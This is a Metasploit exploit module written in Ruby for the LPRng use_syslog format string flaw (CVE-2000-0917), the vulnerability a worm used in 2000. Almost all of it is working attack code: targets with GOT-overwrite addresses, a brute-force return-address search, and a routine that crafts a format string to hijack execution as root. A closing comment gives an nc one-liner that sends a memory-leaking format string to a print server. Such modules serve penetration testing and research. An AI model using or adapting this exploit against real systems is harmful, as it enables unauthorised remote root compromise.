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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Brute
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  include Msf::Exploit::FormatString
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'LPRng use_syslog Remote Format String Vulnerability',
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      'Description'    => %q{
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          This module exploits a format string vulnerability in the LPRng print server.
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        This vulnerability was discovered by Chris Evans. There was a publicly
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        circulating worm targeting this vulnerability, which prompted RedHat to pull
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        their 7.0 release. They consequently re-released it as "7.0-respin".
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      },
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      'Author'         => [ 'jduck' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2000-0917' ],
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          [ 'OSVDB', '421' ],
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          [ 'BID', '1712' ],
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          [ 'US-CERT-VU', '382365' ],
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          [ 'URL', 'http://www.cert.org/advisories/CA-2000-22.html' ],
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          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=17756' ],
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          [ 'EDB', '226' ],
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          [ 'EDB', '227' ],
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          [ 'EDB', '230' ]
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        ],
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      'Platform'       => 'linux',
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      'Arch'           => ARCH_X86,
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      'Privileged'     => true, # root
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      'DefaultOptions' =>
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        {
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          'PrependSetresuid' => true
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        },
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      'Payload'        =>
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        {
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          'Space'    => 130, # buffer size on caldera is 180! (need ~50 for fmt)
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          'BadChars' => "\x00\x0a\x20\x25",
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        },
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      'Targets'        =>
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        [
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          # tested OK - jjd
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          [ 'Caldera OpenLinux 2.3 Bruteforce',
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            {
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              'Platform'   => 'linux',
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              'NumPops'    => 243,
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              'FlowHook'   => 0x80992d4,  # GOT of exit
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              # (0x809c180+(41+4+10+48)) - data segment, but gets corrupted
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              'Bruteforce' =>
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                {
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                  'Start' => { 'Ret' => 0xcffffff4 },
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                  'Stop'  => { 'Ret' => 0x7fffe004 },
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                  'Step'  => 16
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                }
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            }
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          ],
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=begin
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          # untested (from public exploits)
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          [ 'Slackware 7.0 LPRng-3.6.22.tgz - started from shell',
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            {
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              'NumPops' 	=> 299,
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              'Ret' 	   => 0xbffff640,
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              'FlowHook'	=> 0xbfffee30
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            }
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          ],
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          [ 'RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5',
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            {
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              'NumPops' 	=> 304,
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              'Ret' 	   => 0xbffff920,
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              'FlowHook'	=> 0xbffff0f0
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            }
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          ],
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          [ 'RedHat 7.0 - Guinesss',
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            {
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              'NumPops' 	=> 300,
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              'Ret' 	   => 0x41424344,
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              'FlowHook'	=> 0xbffff3ec
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            }
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          ],
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          [ 'RedHat 7.0 - Guinesss-dev',
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            {
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              'NumPops' 	=> 300,
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              'Ret' 	   => 0x41424344,
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              'FlowHook'	=> 0xbffff12c
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            }
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          ],
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=end
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          # ...
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          [ 'Debug',
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            {
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              'NumPops' 	=> 1, # sure to miss.
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              'Ret' 	   => 0x41424344,
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              'FlowHook'	=> 0x45464748
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            }
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          ]
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        ],
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      # 'DefaultTarget' => 0,
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      'DisclosureDate' => '2000-09-25'))
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    register_options( [ Opt::RPORT(515) ])
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  end
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  def exploit
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    # we want to use DPA for this one :)
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    fmtstr_set_caps(false, true)
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    # check syslog to see which number hits 41414141
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=begin
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    400.times { |x|
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      connect
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      buf = "aAAAABBBB|%%%u$x|%u\n" % [x+1, x+1]
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      sock.put(buf)
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      #handler
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      disconnect
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    }
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=end
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    print_status("Trying target #{target.name} ..")
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    super
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  end
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  def brute_exploit(addrs)
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    #print_status("Trying target #{target.name} - addr 0x%x..." % addrs['Ret'])
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    printed = "Service_connection: bad request line '\\35" # + "'XXXYYYYZZZZ...
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    num_start = printed.length + 2 + 4
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    # write 'ret' addr to flowhook (execute shellcode)
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    # NOTE: the resulting two writes must be done at the same time
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    # characters (chr(10) > X > chr(99)) will screw up alignment (\XXX in syslog)
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    fmtbuf = "_" * 4
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    fmtbuf << generate_fmt_two_shorts(num_start, target['FlowHook'], addrs['Ret'])
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    #print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
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    # append payload and newline
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    #fmtbuf << payload.encoded
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    fmtbuf << "\x90" * 32
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    fmtbuf << Rex::Text.charset_exclude(payload_badchars)
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    fmtbuf << "\n"
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    print_status(" writing 0x%x to 0x%x" % [addrs['Ret'], target['FlowHook']])
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    connect
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    #print_status("Sleeping, attach now!!")
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    #select(nil,nil,nil,5)
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    sock.put(fmtbuf)
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    handler
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    disconnect
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  end
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end
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=begin
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HRM!
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The following causes info leakage!
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bash$ ( ruby -e 'puts "\x09" + ("%x" * 50) + "\n"'; cat) | nc 192.168.0.120 515 | hexdump -vC
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There are various other ways to trigger the vulnerability. LPD uses the single-byte commands
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0x01 -> 0x09...
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It's unclear if there is a way to auto-detect the lpd version via LPD commands.
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=end
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